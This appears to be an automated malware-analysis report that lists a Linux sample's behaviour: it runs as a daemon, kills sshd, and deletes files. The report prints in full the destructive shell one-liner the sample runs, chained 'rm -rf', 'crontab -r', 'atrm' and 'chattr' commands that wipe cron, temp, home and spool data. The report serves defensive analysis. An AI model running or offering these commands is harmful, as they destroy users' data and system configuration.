Technical Information
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
- tiiium
Launches processes:
- sh -c crontab -r ; rm -rf /tmp/* ; rm -rf /tmp/.* ; rm -rf $HOME/.* ; rm -rf /etc/cro* ; rm -rf /var/cach/*/* ; rm -rf /home/j*/.* ; rm -rf /tmp/.* ; rm -rf /tmp/* ; for i in `atq | awk '{print $1}'`; do atrm $i; done ; chattr -R -i /tmp/* ; rm -rf /tmp/.* ; rm -rf /dev/shm/* ; rm -rf /dev/shm/* ; rm -rf /var/tmp/* ; rm -rf /var/tmp/.* ; chattr -R -i /var/spool/*/* ; rm -rf /etc/rc.d/init.d/kworker* ; rm -rf /var/spool/*/*/* ; >/dev/null 2>&1
- sh -c crontab -r ; rm -rf /tmp/* ; rm -rf /tmp/.* ; rm -rf $HOME/.* ; rm -rf /etc/cro* ; rm -rf /var/cach/*/* ; rm -rf /home/j*/.* ; rm -rf /tmp/.* ; rm -rf /tmp/* ; for i in `atq | awk '{print $1}'`; do atrm $i; done ; chattr -R -i /tmp/* ; rm -rf /tmp/.* ; rm -rf /dev/shm/* ; rm -rf /dev/shm/* ; rm -rf /var/tmp/* ; rm -rf /var/tmp/.* ; chattr -R -i /var/spool/*/* ; rm -rf /etc/rc.d/init.d/kworker* ; rm -rf /var/spool/*/*/* ; >/dev/null 2>&1
- crontab -r
- rm -rf /tmp/*
- rm -rf /tmp/. /tmp/.. /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix /tmp/.font-unix
- rm -rf /root/. /root/.. /root/.bash_history /root/.bashrc /root/.profile
- rm -rf /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly /etc/crontab
- rm -rf /var/cach/*/*
- rm -rf /home/j*/.*
- rm -rf /tmp/. /tmp/..
- atq
- awk {print $1}
- chattr -R -i /tmp/*
- rm -rf /dev/shm/*
- rm -rf /var/tmp/*
- rm -rf /var/tmp/. /var/tmp/..
- chattr -R -i /var/spool/cron/atjobs /var/spool/cron/atspool /var/spool/cron/crontabs /var/spool/exim4/db /var/spool/exim4/input /var/spool/exim4/msglog
- rm -rf /etc/rc.d/init.d/kworker*
- rm -rf /var/spool/exim4/input/1ahTzp-0002FZ-0L-D /var/spool/exim4/input/1ahUKa-0002Fm-0o-D
Kills system processes:
- sshd
Kills the following processes:
- run.sh
- bash
- Unknown process with PID: 4294967295
- Unknown process with PID: 0
Performs operations with the file system:
Deletes files:
- /tmp/*
- /tmp/.Test-unix
- /tmp/.X11-unix
- /tmp/.XIM-unix
- /tmp/.font-unix
- /root/.bash_history
- /root/.bashrc
- /root/.profile
- /var/spool/cron/.placeholder
- /var/spool/cron/passwd
- /var/spool/cron/aptitude
- /var/spool/cron/mlocate
- /var/spool/cron/logrotate
- /var/spool/cron/apt
- /var/spool/cron/bsdmainutils
- /var/spool/cron/dpkg
- /var/spool/cron/man-db
- /var/spool/cron/exim4-base
- /etc/crontab
- /var/cach/*/*
- /home/j*/.*
- /dev/shm/*
- /var/tmp/*
- /etc/rc.d/init.d/kworker*
- /var/spool/exim4/input/1ahTzp-0002FZ-0L-D
- /var/spool/exim4/input/1ahUKa-0002Fm-0o-D